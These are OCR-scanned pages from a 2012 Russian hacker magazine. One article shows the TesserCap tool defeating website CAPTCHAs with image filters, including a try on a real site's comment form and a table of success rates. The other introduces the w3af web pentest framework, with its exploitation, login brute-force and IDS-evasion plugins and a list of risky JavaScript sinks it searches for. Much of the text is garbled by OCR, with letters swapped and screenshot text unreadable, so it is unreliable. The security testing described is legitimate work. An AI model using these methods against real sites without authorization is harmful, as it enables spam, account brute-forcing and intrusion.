с обстве нн о, и сделал Гурсев Сингх Калра

из компании McAfee. Зачем зт о было нужно? Автор утилиты решил таким об разом про­

верить, насколько безопасны капчи к рупных

ресурсов. Для тестирования были выбраны те

интер нет- сайты, которые являются са мыми

посещаемыми по версии известного сервиса

статистики www. quaпtcast . com/top-sites-1 .

Кандидатами на участие в тестировании стали

такие монстры, как Wikipedia, еВ ау, а также провайдер капч гeCaptcha.

Если рассматривать в об щи х черта х

принцип функционирования программы, т о о н

достаточно прост. Исходная капча поступает

в систему предварительной обработки изо­

бражений, очищающей кап чу от всяких шумов

и искажений и по конвейеру передающей по­

лученное изображение ОСR-системе, которая

старается распознать текст на нем . TesseгCa p

имеет интерактивный графиче ский интерфейс

и обла да ет следующими свойствами :

1. Имеетуниверсальную систему предвар и ­

тельной обработки изображений, которую

можно на строить для каждой отдельной

капчи.

2. Включает в себя систем у распознавания

Tesseгact, которая извлекаеттекст из пред­

варительно проанализированного и под­

готовленного САРТС НА- изоб ра жения.

3. Поддерживаетиспользованиеразличных

кодировок в системе распознавания .

Думаю, общий смысл понятен, поэто м у

предлагаю посмотреть, как это выглядит.

Универсал ьн ость утилиты н е могла не приве­

сти к усложнению ее интерфейса, п оэтому окн о

программы может ввести в небольшой с т упор .

Так что, перед тем как п ереходить н е п ос ред­

ствен н о к ра спознаванию капч, предлагаю

разобраться с ее интерфейсом и заложенным

функционал ом.

ОБАВТОРЕ

Мы не могли не сказать хотя бы пары слов об

авторе замечательной утилиты TesseгCap .

Его зовут Гурсев Сингх Калра . Он работает

главным консультантом в подразделении

профессиональных услуг Foundstone, которое в ходит в состав комnании McAfee. Гурсев выступал на таких конференциях, как Тоог­

Соn , NuiiCon и ClubHack. Является автором инструментов TesseгCap и SSLSmaгt . Помимо

это го , разработал несколько инструментов для

внутренних нужд комnании . Любимые языки

программирования- Ruby, Ruby on Rails и С#.

ХАКЕР 03/158/ 2012

~ ~- ..... -[: 4152\4 '] ~ ~~-- ·:: - - - ... _ ... 1 --·==

L 41 ~2~ •

1 41~2\А

• \ 'О= ""---""""""""' Wiilli)

Предварительная обработка изображений и извлечение текста из капчи

ИНТЕРФЕЙС. ВКЛАДКА MAIN П осле запуска программы п еред нами пред­

стает окно с тре мя вкладками: Main, Options, lmage P гepгocessing. Основная вкладка содержит элементы управления, которые

исnользуются для запуска и остановки теста

САРТСНА-изображения, формирования ста­

ти стики теста !сколько отгадан о, а сколько

нетl, навиг а ци и и выбора изображения для предварительной обработки. В поле для ввода

URL-aдpeca должен быть указан точный URL­aдpec, который веб-приложение использует

для извлечения капч. URL-aдpec можно по­

лучить следующим образом: кликнув правой к н о nко й мыши no САРТСНА-изображению, скопировать или просмотреть код страницы

и извлечь URL-aдpec из атрибута sгс тега изо ­

бражения <img>. Н апример, в случае с xakep. гu зто адрес www.xakep.гu/common/гateit/ captcha.asp?name=xakep . гu . Рядом со стро-

кой адр еса находится элеме нт, задающий

количество капч, которые н ужно загрузить

для тестирования. Та к как приложение может

одновременно nоказывать только 12 изо­б ражений, в нем предусмотрены элементы

управления для постраничного п ролистывания

загружен ны х кап ч . Та ким образом, при мас­

штабном тестировании мы сможем nроли­

стыв ать загруженныекапч ии просматривать

результаты их распознавания. Кнопки Staгt

и Stop запускают и оста н авлива ют тестиро­

вание соответствен но. После те с т ирования

Подразделение профессиональны х услуг

FoundstoneФ, в котором он трудится, nредлагает

организациям эксnертные услуги и обучение,

обесnечивает nостоянную и действенную

защиту их активов от самых серьезных угроз.

Команда nодразделения nрофессиональны х

услуг состоит из признанных экспертов

в области безоnасности и разработчиков,

имеющих богатый оnыт сотрудничества

с международными корnорациями

и государственными организациями

по воnросам безоnасности .

Проверка на прочность

~-,------.. . ~~c:::::!LJ -· 1 -~1 1~- 1 . _:l/flilf[~ - 4755535 -о [~__j ·1 ·~3 1 1 -~ о G 1 tт:U. 1 1~ 1 1 " liJ Ufff:i

G -l~k l 1 ~70 1 1 ~269 ЭИН 105Ul76

[ ~~or.- ::::1 ь: .... ,..с-- J ~ ~ --·--·-- ... -Результат анализа капчи xakep.ru с предварительной обработкой изображений . Судя по результатам, фильтр подобрать не удалось

нужно о ценить результаты рас по з нава н ия

изображений, отм етив каждый из них как

коррект н ы й или некорректный . Н у и послед­

няя, наиболее значимая функция служит для

передачи любого изображения в систему nред­

варительной обработки, в которой задается

фильтр, удаляющий с изображения шумы и ис­

каже ния. Чтобы передать карт инку в систему

предварител ьн ой обработки, надо щелкнуть

на требуемом изображении nравой кноnкой

мыши и в кон текс тном меню выбрать пункт

Send То lmage Ргергосеssог.

ИНТЕРФЕЙС. ВКЛАДКА OPTIONS Вкладка о пци й содержит различные злементы

уnравления для конфигурирова ния TesseгCap.

Здесь можно выбрать ОСR-систему, задать

параметры веб-прокси, включить nереадре­

сацию и предварительную обработку изобра­

же ни й, добавить пользовательские НТТР­

за головки , а также указать диапаз о н символов

для системы расnознавания: цифры, буквы

в нижнем регистре, буквы в верхнем регистре ,

сnециальные символы.

Теперь о каждой оnции поподробней .

Пр ежде всего, можно выбрать ОСR-систему.

П о умолча нию доступна только одна ­

Te sseгact-ORC , так что заморачивать ся

с выбором тут не придется. Еще одна очень

интересная возможность программы- вы­

бор диапазона символов . Возьмем, напри­

мер, капчу с xakep . гu- видно, что она не со­

де ржит н и одной букв ы , а состои т т олько

из цифр. Так зачем нам лишние символы,

которые только увеличат вероятность не кор­

р ектного распознавания? Конечно, они нам

ни к чему, поэтому при тестировании капчи

xake p.гu лучше указать, что она содержит

одни цифры: Num eгics. Но что если выбрать

Uррег Case? Сможет ли пр ограмма рас­п ознать капчу, состоящую из заглавных букв

любого языка? Н ет, не сможет. Программа бе­

рет список символов, используемых для рас­

познавания, из конфигурацио нны х файлов,

находящихся в \Ргоgгаm Files\Foundstone Fгее Too l s\TesseгCa р 1.0\tess data\configs\ . П оясню на прим ере : если мы выбрали

опции Numeгics и Loweг Case, то пр ограмма обратится к файлу loweгпumeгic, начинаю­

щемуся с параметра tessedit_chaг_whitelist.

Page 46: Xakep 03_2012

PCZONE

За ним следует список символов, которые

будут использоваться для решения капчи.

По умолчанию в файлах содержатся только

буквы латинского алфавита, так что для рас­

познавания кириллицы надо заменить или

дополнить список символов.

Теперь немного о том, для чего нужно

поле Http Request Headeгs. Например, на не­которых веб-сайтах нужно залогиниться, для

того чтобы увидеть капчу. Чтобы TesseгCap

смогла получить доступ к капче, программе

необходимо передать в запросе НТТР такие

заголовки, как Ассер!, Cookie и Rеfеггег и т. д . Используя веб-прокси IFiddleг, Вuгр, Chaгles, WebScaгab, Рагоs и т. д.l, можно перехватить посылаемые заголовки запро­

са и ввести их в поле ввода Http Request H eadeгs. Еще одна опция, ко торая навер ­

няка пригодится,- это Follow Rediгects. Дело в том, что TesseгCap по умолчанию

не следует переадресации. Если тестовый

URL-aдpec должен следовать переадресации

для получения изображения, нужно выбрать

эту опцию.

Ну и осталась последняя опция, вклю­

чающая/отключающая механизм предвари­тельной обработки изображений, который

мы рассмотрим далее. По умолчанию

предварительная обработка изображений

отключена. Пользователи сначала настраи­

вают фильтры предварительной обработ-

ки изображений согласно тестируемым

САРТСНА-изображениям и затем активируют

этот модуль . Все САРТСНА-изображения,

загружаемые после включения опции ЕпаЫе

lmage Pгepгocessiпg, проходят предвари­тельную обработку и уже затем передаются

в ОСR-систему Tesseгact для извлечения

текста.

ИНТЕРФЕЙС . ВКЛАДКАIМАGЕ PREPROCESSING Н у вот мы и добрались до самой интересной

вкладки . Именно т ут настраиваются фил ьт ры

для уда л е н ия с капч различных шумов и раз­

мытий, которые стараются максимально

усложнить задачу системе распоз н авания.

Процесс настройки универсального фильтра

предельнопрости состоит из девяти эта п ов.

Изменения изображения отображаются на

каждом этапе предварительной обработ ки.

Кроме того, на странице имеется компо-

нент проверки, который позволяет оценить

правильнесть распознавания капчи при

наложенном фильтре. Рассмотрим подробно

каждый этап.

Этап 1. Инверсия цвета На данном этапе инвертируются цвета

пикселей для САРТСНА-изображений. Код,

представленный ниже, демонстрирует, как это

происходит:

for(each pixel in САРТСНА) { if (invertRed is true)

new red = 255 - current red if (invertBlue is true)

new Ыuе = 255 - current Ыuе if ( inve r tGreen is true)

new green = 255 - current green

Инверсия одного или нескольких цветов

часто открывает новые возможности для про­

веркитестируемого САРТСНА-изображения.

Этап 2. Изменение цвета На данном шаге можно изменить цветовые

Chop"""' O Activ.ste

11 <· 1 t~

@ Smooth Mack 1 0 Sh.vpen Ммk 1 0 Sharpen Ммk З

Q S~M~2 Q S~~M~2 Q S~M~S 0

И зменение помех при изменении различных диапазонов цветового значения пи кселей в сторону белого или черного

РЕЗУЛЬТАТ ПРОВЕРКИ САРТСНА НА ПОПУЛЯРНЫХ САЙТАХ

Веб-сайт Доля распознанных капч

Wikipedia 20-30%

ЕЬау 20-30%

reddit.com 20-30%

CNBC >50%

foodnetwoгk.com 80-90%

dailymail.co.uk >30%

megaupload .com >80%

pasteЬin.com 70-80%

cavenue.com >80%

компоненты для всех пикселей изображения.

Каждое числовое поле может содержать 257 lот -1 до 2551 возможных значений. Для RGВ­компонентов каждого пикселя в зависимости

от значения в поле выполняются следующие

действия:

1. Если значение равно -1, соответствующий цветовой компонент не меняет ся.

2. Если значение не равно -1, все найденные компоненты указанного цвета !красный, зе­леный или синий] меняются в соответствии

с введенным в поля значением. Значение О

удаляет компонент, значение 255 устанав­ливает его максимальную интенсивность

и т. д.

Этап 3. Градация серого !Шкала яркости) На третьем эта п е все изображения конверти ­

руются в изображения в градациях серого . Это

единственный обязательный эта п п реобразо ­

вания изображений, который н ельзя про­

пустить. В зависимости от выбранной кнопки

выполняется одно из следующих действий,

связанных с цветовой составляющей каждого

пикселя:

1. Aveгage -71Red + Gгееп + Bluel/3 . 2. Humaп -7 10.21 • Red + 0.71 • Gгееп + 0.07 •

Bluel . 3. Aveгage of minimum апd maximum соlог

componeпts -?IMiпimum IRed + Gгееп + Blue) + Maximum IRed + Gгееп + Blue ll /2 .

4. Miпimum -7 Miпimum IRed + Gгeen + Bluel. 5. Maximum -7 Maximum IRed + Gгееп + Bluel.

В зависимости от интенсивности и рас­

пределения цветовой составляющей САРТСНА

любой из этих филыров может улучшить

извлекаемое изображение для дальнейшей

обработки .

Этап 4. Сглаживание и резкость Чтобы усложнить извлечение текста

из САРТСНА-изображе н ий, в них добавляют

ХАКЕР 03 /158/2012

Page 47: Xakep 03_2012

шум в форме однопиксельных или многопик­

сельных точек, посторонних линий и пре­

етранетвенных искажений . При сглаживании

изображения возрастает случайный шум, для

устранения которого потом используются

фильтры Bucket или Cutoff. В числовом поле Passes следует указать, сколько раз нужно применить с~ответствующую маску изобра­

жения перед переходом на следующий этап.

Давай рассмотрим компоненты фильтра для

сглаживания и повышения резкости. Доступ­

ны два типа масок изображения:

Фиксированные маски. По умолчанию

TesseгCap имеет шесть наиболее популяр­

ных масок изображения. Эти маски могут

сглаживать изображение или повышать

резкость [преобразование Лапласа). Из­менения отображаются сразу же после вы­

бора маски с помощью соответствующих

кнопок.

Пользовательские маски изображения.

Юзертакже может настроить пользова­

тельские маски обработки изображений,

вводя значения в числовые поля и нажи­

мая кнопку Save Mask . Если сумма коэф­фициентов в этих окошках меньше нуля,

выдается ошибка и маска не при меняется.

П ри выборе фиксированной маски кнопку

Save Mask использовать не требуется.

Этап 5. Вводим оттенки серого Н а этом этапе обработки изображения е го

пиксели могут быть окрашены в широкий

диапазон оттенков серого. Этот фильтр ото­

бражает распределение градаций серого

в 20 бакетах [Ьuсkеt)/диапазонах. П ро цен т

пикселей, окрашенных в оттенки серого

в диапазоне от О до 12, указан в ба кете О, процент пикселей, окрашенных в оттенки

серо г о в диапазоне от 13 до 25,- в ба кете

1 и т. д. Пользователь может выбрать одно из следующих действий для каждого диа­

пазона значений, соответствующих оттенкам

серого:

1. Оставит ь без измене н ия [Leave As ls). 2. Заменить белым [White). 3. Заменить черным [Biack).

Бла годаря этим оп ц иям можно контроли­

ровать различные диапазоны оттенков се­

рого, а также сокращать/удалять шум, меняя оттенки серого в сторону белого или черного.

П рове р ка на п рочн ость

Этап 6. Настройка отсечения (cutoff) Этот фильтр строит график з а висимости з н аче­

ния уров н я серо го от частоты встречаемост и

и предлагает выбрать отсечение . П ри нци п

работы отсекающего фильтра п оказа н ниже

в п севдокоде :

if (pi xe l 's gr ayscale value <= Cutoff ) pixel graysca l e val ue = ( е OR 255) - > в зави с имости, от то го кака я опция

выбра на (<= или => : Set Every Pixel with value <=/ => Th r eshold t o е. Rema i ning t o 255 )

График показывает п одроб н ое рас пр едел е ­

ние пикселей САРТС НА по цвета м и п омо гает

удалить п омехи с помощью отсеч ения з н а ч е­

ний уро вн я серого .

Этап 7: Обтесывание (choppiпg) После применения с глаживающе го, отсекаю­

ще го, bucket- и д ругих фи л ьтро в САРТС Н А ­

изображе н ия всё еще могут быть за ш у мле н ы

однопиксельными или много п иксел ьными

точками, посторонними линиями и п реетран ­

етвенными искажениями . П рин ц и п работы

' J •' './

• МИНЗДРАВСОЦРАЗВИТИЯ РОССИИ ПРЕДУПРЕЖДАЕТ:

КУРЕНИЕ ВРЕДИТ ВАШЕМУ ЗДОРОВЬЮ

Page 48: Xakep 03_2012

PCZONE

фильтра обтесывания закл ючается в следую­

щем: если количество смежных пикселей,

окрашенных в данный оттенок серого, мен ь ше

величины в числовом поле, фильтр обтесы в а­

ния п рис ваивает им з н аче н ие О [ ч ерный ! или 255 [белый! п о в ыбору п ол ьзователя. П ри э том САРТС НА анализируется как в горизонталь­

ном, так и в вертикал ь ном направлении.

Этап 8: Изменение ширины границы .

Как утв ерждает автор ути л и т ы, в ходе

п ерво н ачаль н ых и ссл едова н ий и разра­

ботки TesseгCap он неоднократно отмечал,

что, когда САРТСНА-изображения имеют

толстую граничную линию и ее цвет отлича ­

ется от основного фона САРТСНА, некоторые

системы OCR не могут рас п ознать текст.

Д анный фильтр п редназ н ачен для обработ ки

граничных линий и их изменения. Граничные

линии с шириной, которая указана в число­

вом поле, окрашиваются в черный или белый

по выбору пользователя.

Этап 9: Инверсия серого оттенка Этот фи л ьтр п роходит кажды й пиксель и за-

меняет его значение уровня серого новым,

как показано ниже в псевдокоде. Инверсия

серого проводится для подгонки изображе­

ния под ц в етовые настройки ОСR-системы.

for(eac h pixel i n САРТСНА )

new grayscale value = 255 - current grayscale value

Этап 10: Проверка распознавания капчи Цель данного этапа - передать предвари­

тель н о обработанное САРТС НА-изображение

ОСR-системе для распознавания. Кнопка

Solve берет изображение после фильтра инверсии серого, отправляет в ОСR-систему

для извлечения текста и отображает воз­

вращенный текст в графическом интер­

фейсе. Если распознанный текст совпадает

с текстом на капче, значит, мы правильно

задали фильтр для предварительной об­

работки. Теперь можно перейти на вкладку

опций и включить опцию предварительной

обработки [ЕnаЫе lmage Pгepгocessiпgl для обработки всех последующих загруженных капч.

РАСПОЗНАЕМ КАПЧИ Ну что ж, пожалуй, мы рассмотрели все опции

этой утилиты, и теперь неплохо было бы про­

тестировать какую-нибудь капчу на прочность.

Предлагаю для примера взять кап чу xakep.гu.

Итак, запускаем утилиту и идем на сайт

журнала . Видим список свежих новостей, за­

ходим в первую попавшуюся и пролистываем

до места, где можно оставить свой коммента­

рий. Ага, коммент так просто не добавить [еще бы, а то бы давно уже всё эаспамилиl- нужно вводить капчу. Н у что ж, проверим, можно

ли это автоматизировать . Копируем URL картинки и вставляем его в адресную строку

TesseгCap . Указываем, что нужно загрузить 12 капч, и нажимаем Staгt . Программа послушно

загрузила 12 картинок и попыталась их рас­познать. К сожалению, все капчи оказались

либо не распознаны, о чем свидетельствует

надпись -Failed- под ними, либо распознаны

неправильно. В общем, неудивительно, так

как посторонние шумы и искажения не были

удалены. Этим мы сейчас и займемся . Жмем

правой кнопкой мыши на одну из 12 загру­женных картинок и отправляем ее в систему

МИНЗДРАВСОЦРАЗВИ1ИЯ РОССИИ ПР~ДУ

Page 49: Xakep 03_2012

nредварительной обработки [Send То lmage Ргергосеssог]. Внимательно рассмотрев все

12 капч, видим , что они содержат только циф­

ры, поэтому идем на вкладку опций и указы ­

ваем, что распознавать нужно только цифры

[Сhагасtег Set; Numeгics]. Теп ерь можно п е реходить на вкладку lmage Pгepгocessing для настройки фильтров. Сразу скажу, что

п о игравшись с первыми тремя фильтрами

[ << Инверсия цвета>>, <<Изме нение цвета >>, << Градация серо го » ] я не увидел никакого по­

ложительного эффекта, поэтому оставил там

всё по дефолту. Я выбрал маску Smooth Mask 2 и установил количество проходов равным одному. Фильтр Gгayscale buckets я пропустил и перешел сразу к настройке отсечения . Вы­

б рал значение 154 и указал, что те пиксел и, которых меньше, нужно установить в О, а те,

которых больше, в 255. Чтобы избавиться от оставшихся точек, включил chopping и из­менил ширин у границы до 10. Последний фильтр включать не было смысла, поэтому я

с разу нажал на Solve. На капче у меня было число 714945,

н о программа распознала его как 711435.

Это, как видишь, совер шенно неверно.

В конечном итоге, как я ни бился, нормально

распознать кап чу у меня так и не получилось .

Пришлось экспериментировать с pasteЬin.

com, которые без проблем удалось рас­познать. Но если ты окажешься уси дчивее

и терпеливее и сумеешь получить кор­

ректное распознавание капч с xakep.гu, то

сразу заходи на вкладку опций и включай

предварительную обработку изображений

[ЕnаЫе lmage Pгepгocessing]. Затем пере ходи на Main и, кликнув на Staгt, загружай свежую порцию капч, которые теперь будут пред­

варительно обрабатываться твоим филь­

тром. П осле того, как программа отработает,

отметь корректно/некорректно распознан­ные капчи [кнопки Магk as Соггесt/Магk as l nCoггect] . С этого момента можно просма­тривать сводную статистику по распознава­

нию с помощью Show Statistics . В общем-то ,

это своеобразный отчет о защищенности той

или иной САРТСНА. Если стоит вопрос о вы­

боре того или др угого решения, то с помо­

щью TesseгCap вполне можно провести свое

собственное тестирование.

Проверка на про чн ость

ЗАКЛЮЧЕНИЕ САРТСНА- изображения являются одним

из самых эффективных механизмов по защите

веб -приложений от автоматизированного за­

полнения форм. Однако слабые капчи смо гут

защитить от случайных роботов и не устоят

перед целенаправленными попытками их

решить. Как и криптографические алгоритмы,

САРТСНА-изображения, тщательно проте­

стированные и обес п ечи в ающие высокий уро­

вень безопасности, являются самым лучшим

способом защиты. На основе статистики,

которую привел автор программы, я выбрал

для своих п роектов гeCaptcha и буд у реко­

мендовать ее всем своим друзьям- она ока ­

залась самой стойкой из протест ированных.

В любом случае не стоит забы вать , что в Сети

есть немало сервисов, которые предлагают

полуавтоматизированное решение САРТСН А.

Через специальный API ты передаешь серви­су изображение , а тот через непродолжитель ­

ное время возвра щает решение . Решает ка пч у

реальный человек [например, из Китая ] , п о­лучая за это свою копеечку. Тут уже никакой

защиты нет : ]. ::::к:

Содержание в дыме сигареты: смолы - 4; 7 мг, никотина- 0,4; 0, 6 мг, СО- 5; 8 мг

1Р~ЖДА~Т: КУР~НИ~ ВР~ДИТ ВАШ~МУ ЗДОРОВЬЮ

Page 50: Xakep 03_2012

PCZONE Тарас Иващен ко loxdeflaoxdef.info] ·

v

ФРЕИМВОРК ~-[!]· ·~

для веб-пентестера Информация представп ена

искл юч ительно

для ознако мления .

Редакция не несет ответственности

ТЕСТИРУЕМ БЕЗОПАСНОСТЬ ВЕБ-ПРИЛОЖЕНИЯ С ПОМОЩЬЮ WЗAF

за ее использование

в проти воза кон ных

целя х. nодобные

действия влекут за собо й уголовное преследование.

n

Plugin N:Jt.ie . ..... . ..,"",_ . A" tfl'lliiRtOOtl r.1 - . <,« '*"IFilt Q .Z II.Я. ,_, ~ l!miFill

Главное окно wЗaf

Thll ptugln 1nr:ts СIОМ 5118 SCI\ping (XSS) 'o'lllntl'.ьllllin .

,._ ~.ы. jNII'amtWI axllt

·""""""' ·--

-

TolndXSS~twpluglnwllstl'lda .. ofi81161C:11pttmoJD8\II!Yp61."....., andsнrctlforfllllnpulln . hlltlpCIIIИ. Тhepaiiiii'IМtr "~c:onev.nsltoepkqniOIIOAIIIO.Ifi~IOhwetlfC)pliedon

81'1d81h.,..;l, requnt .. P'Qt$4!CI'in~bflolqu:twrцnOtiOICII«ЬOttlminllhoWI'I\CII'I)' ~НinQS .,I иntlarmylr1к'ion~

~

tМckSIONd 1:3 о

111111'A:18f01CМC~~s l 3 1 Oi

Прое кт wЗaf с ильно выделяется среди многих

други х инструме нтов для ис следования

безопасности веб-приложени й. Это

не обычны й сканер с жестко забитым

функционалом , а фреймвор к, позволяющи й

использовать более сотни различных плагинов

для исследования сайта, поиска уязвимастей

и их последующей эксплуатации .

ЧТО ТАКОЕ WЗAF? Совреме н ные веб-приложен и я уже мало чем похожи н а своих п ред­

ш ествен ников , которые был и в ходу еще п ят ь л ет н азад . Они стано ­

вятся всё более популярными, ис пользуют намного больше техно­

логий, что увеличивает возможный вектор атаки, обрабатывают всё

больше разной информации, включая финансовые и переанальные

данные . Чтобы снизить риски, мы можем внедрить процесс безоnас­

ной разработки п рограммна го обеспечения, важным этапом которого

является тес тирование безопасн ости. Услов но говоря , можно выде­

лить четыре в ида тестирования безопасности веб - приложения :

1. Автоматизированноесканированиенауязвимост и.

2. Ручноетестированиебезопасностиlпентестин~ . 3. Статическийанализкода.

4. Аудит кода.

Сегодня я хочу рассказа т ь о проекте wЗaf lwЗaf. oгg l . Это фреймворк для тестирования безо пасности веб-приложения !Web Applicatioп Attack and Audit Fгamewoгkl , который может быть использова н для

первых двух видов тестирования. Автором этого открытого проекта

является Андреас Рианчо из Аргентины. Сейчас проект разрабаты­

вается nреимущественно им и небольшой груnnой контрибьюторов

со все го мира, в которую входит и автор этих строк :1. В работе над ним также принимают активное участие такие известные компании,

как Rapid7 и Я ндекс! Фреймворк написан на Python, который, как ты знаешь, является << языком с батарейками>>. Батарейки wЗaf- зто его

расширения, которых набралось уже больше сотни. Это, конечно, еще

не Mozilla Fiгefox, но уже достаточно мощное средство .

КАК УСТРОЕН WЗAF? Фреймворк wЗaf состоит из двух важных частей: ядра и плагинов.

Ядро запускает главный nроцесс и координирует работу плагинов,

ХАКЕР 03/158/2012

Page 51: Xakep 03_2012

,·- ·- ·- ·- ·- ·- ·- ·- ·- ·- ·- ·- ·- ·- ·- ·- ·- - ·- ·- · - ·- -, - · - · - · - · - · - · - · - · - · - · - ·, .

: (Discivery) (вrutforce) ~: • • • • • 1

Информаци онный nоток в wЗaf

а также обмен информации между ними. Плагины, в с вою очередь,

находятуязвимости и позволяют проэкс плуатировать их. Через ядро

плагины обмениваются информацией, к прим еру, о найденн ых запро­

сах для фаззинга. В качестве центрального хранилища информации

выступаеттак называемая «база з наний >>.

Слово «фрейм ворк >> в названии разработки у п отребляется не слу ­

чайно . WЗaf предоста вляет платформ у, в то время как весь функцио­

нал для пентеста реализован в разных плагина х. Для каждого нового

сканирова ния ты можешь выбирать только нужные тебе аддоны,

комбинируя их. Плагин каждого типа, которых в общей сложности на­

считываетс я восемь, отвечает за выполнение определенной задач и .

1. Плагины для поиска воз можныхточек входа в пр иложение !или та к

называемые disсоvегу-плагиныl собирают формы , ссылки и вообще всё, что можетсгенерироватьзапрос к в еб- пр иложению. Та ким об­

разом формируется карта запросовтестируемого приложения . Хо ­

рошим примерам та ко го плагина является классический веб-паук ,

реализованный в виде модуля webSpideг. Оisсоvегу-плагины за пу­

скаются в цикл е, благодаря чему цели , обнаруженные на пр едыду­

щем этапе, п опадают на вход этих же плагинов на следующем этап е.

Этотnроцесс nродолжаетеядатех п о р, n ока не будет достигнут

лимит, установленный для режима nоиска целей для фаззинга.

2. Аудит-nлагины исnользуютвывод nлагинов !то есть точки входа

в nриложениеl для n оиска уя з в и мастей, которые nозволяютосу­ществитьтакие атаки, какХSS, SQL-инъекция, IR)LFI и множество дру ги х.

З. Gгер-nлагины nросты, но в тоже время очен ь nолезны, как и из вест­

ная UNIХ-утилита , в честь которой они на званы . Смысл та кой: через

gгер-nлагин nроходиткаждая пара НТТР-зап рос/ответ, в которой nроизводится nоиск интересующей на с информации !номера кредитны х карт, внутренние IР-адреса, адреса электронн ой nочты

и т. n.l. Эти nлагины также умеют искать участки nотенциально onacнoгoJavaScгipt-кoдa, наnример:

document.write document.location eval

Подобные участки кода часто создают nредnосылки для реа­

ли за ции атак вида ООМ based XSS lwww.owasp .oгg/ i ndex.php/ DOM Based XSS).

4. Вгutеfо гсе-nлагины , как можно догадаться, nроизводят nеребор

значений для механизмов аутентификации НТТР Basic и для обыч­ной формы для лаги на . Наnример, nлагин foгmlogin автоматически

детектируетформы входа по содержанию в ни х двух nараметро в,

один из которых имеетти n passwoгd. После обнаружения такой

формы сразу начинается б рут.

5. Аttасk-nлагины nредназначены не для nоиска брешей, а для их

эксплуата ции. Они, как и другие аддоны, используютобщую базу

знаний о тестируемом nриложении, в ча стности , они используют ин­

формацию о найденныхуязвимастях и пытаются их проэксnлуати ­

ровать . Да-да, именно эти nлагины могутnомочьдобыть заветный

шелл на бажном сервере. ;l 6. Маnglе-nлаги ны nозволяютналету менять что-нибудь в за nросах

ХАКЕР 03/158/2012

Фреймворк для пенте стера

к веб -nриложению и его ответах . Если оnять провести аналогию

с миром UNIX, это фактически эквиваленттекстового nотокового редактора sed, н о ужедля НТТР-транзакций. Заме нить во всех от­ветах hidden-noля на обычныетекстовые? П ожалуйста!

7. Еvаsiоn -nлагины исnользуются для обхода nростых nравил раз­

личных 105. Хочеш ь nодальше оставаться незамеченным nр и nро­

ведении очередного nентеста веб -nриложения? Тогда исnользуй

что-нибудь из этого набора.

8. Оutрut-nлагины выn ол няют простую миссию: формируют в удобо­

читаемом виде отчеты о результатах работы wЗaf. Вы бирай, что

тебе больше nодходит-<<nравославныЙ >> текстовый формат или

<<э нтерn райз н ый>> POF,- или nо-быстрому наnиши более nод­

ходящий для твоих нужд nлагин .

9. Аuth-nлагины берут на себя весь nроцесс уnравления nоль­

зо вательской сессией: авторизируются в веб-nриложении,

nроверяют, чтобы сессия оставалась валидн ой, и выnолняют в

конце сканирования корректный выход из веб-nриложения. Это

о ч е нь удобно. Ещё со всем н едавн о не был о удоб н ой возможности

сканировать nользовательские части веб-приложений, то есть

те, что на ходятся за авторизацией. Да , можно было указать wЗaf

исnользовать nредварительно nолученную и з браузера куку, н о

это н е самый удобный сnособ. Сейчас в составе wЗaf всего один

аuth -nлагин, но он nодойдёт для большинства случае в. Да и не

забывай, что мы имеем дело с фреймворком, и можно наnисать

такой nлагин nрактически для любой формы ауте нтификации:

SMS, токены и т.n . У тебя в руках вся мощь Python!

СКАНИРУЕМ ВЕБ-ПРИЛОЖЕНИЕ Теnерь, когда мы не много разобрались с архитектурой wЗaf, настало

время увидеть его в действии. Сnециальн о для демон страции я на­

nисал nростое, но очень <<вебдва нольное >> nриложение социальной

наnравленност и nод названием ltte г. Да , это сер в ис для ведения

микроблогов, и , я надеюсь , он ста н еттаким же nоnулярным, как его

ограниченный 140 символами на одно сообщение старши й брат. :1 Тестовое веб-nриложение обладает следующими свойствами:

основано на LAMP ILinux-Apache-MySQL-PHPI; имеетфункцию nоиска и сервис nриватных сообщений;

nолноценный достуn к функционалу nриложения nредоставляется

только заре гистрированным и авторизова нны м nользователям;

активн оисnользуетАJАХ;

имеет, черт nобери, уязвимости!

ХОЛОДНЫЙ ЗАПУСК Для начала давай nросканируем наше веб-nриложение без авториза­

ции- nросто натравим на него сканер. В wЗa f есть два ! в ообще, уже тр и, но это n ока небольш ой сюр nр из) и нтерфейса:

gtkUi - графический, основанный на тулките GTK; consoleUi - хакерекий Ul для консольных старожилов !конечно же, с удобным автоза вершением кома нд) .

Будем исnользовать nервый из них. Для заnуска GUI-версии на­

бираем в консоли <<./wЗaf_gui>> и видим что-то nохожее на изображен­ное на скриншоте 1. Главное окно разделено на несколько секций: nрофиль, цель, nлагины и тулбар. Немн ого расскажу о nрофилях.

--.. ... ...._. ..

L. • • ....... ..

Структура веб-nриложения

01,9

Page 52: Xakep 03_2012

PCZONE

. ... C/OIIIillla!IID/III~ •• c-•.er~p~orq...._.ы~o~r

.. ..

.. ..

CniМSiRSaiplngwMЬniC~JI'CГ. UJinO НПP 11181adGE1. f l'leS811diiiiW8S: "limt= 15&\PCSCIFТ~Н")<ISC<Pf .... ть. ml)(thcl'*-wuv Tnisdnt!abllotyateasAU.Ьrowsen.. Тtis.,._~...asloundO'INNCf,IИIWiflid!905.

Результаты сканирования wЗaf

Как можно догадаться, это именованные наборы настроек, которые

можно загружать в wЗaf. П о сути, это in i-файлы, в которых ты можешь

сохранять nолюбившуюся тебе конфигурацию wЗaf, в том числе те­

стируемый URL, выбранные и настроенные плагины, саге-настройки и многое другое. Например, для сканирования ltteг я создал простой

профиль под названием М у Pгofile, далее подключил в нем disсоvегу­

плагины webSpideг и pykto [порт знаменитого Nikto на Pythonl, пару gгер-плагинов для поиска DOM XSS и несколько плагинов для поиска XSS- и SQL-инъекций. Чтобы начать сканирование, нажимаем Staгt

и ждем несколько минут, пока не появятся первые результаты. Кста­

ти, мы всегда можем наблюдать за действиями wЗaf на вкладке Log, куда в реальном времени выводятся информационные сообщения

от ядра и плагинов. Ход процесса отображается через прогреес -бар

и другие идентификаторы.

П римерно через 20 минут сканирование завершается. Посмотрим, что удалось найти wЗaf. Помимо ошибок конфигурации Апача и кучи

подозрений на DOM XSS, сканер обнаружил несколько XSSI Одна из них, в /i ndex.php, представляет для нас особый интерес, осталь­ные мы пока отложим. Плагин Pykto, в свою очередь, обнаружил доступную страни цу статуса Apache и phpinfo-cкpиnт /test.php. Другие плагины установили название и версию используемого веб-сервера

и веб-фреймворка. В нашем случае это Apache/2.2.16 на DeЬian GNU/ Linux и язык программировани РНР. Другая полезная фишка, которая позволяет нам лучше понять структуру веб-приложения,- это вклад­

ка URLs с древовидной картой веб-приложения и ее графическим представлением. Здесь же можно просмотреть все НТТР-транзакции,

сгенерированные в рамках сканирования.

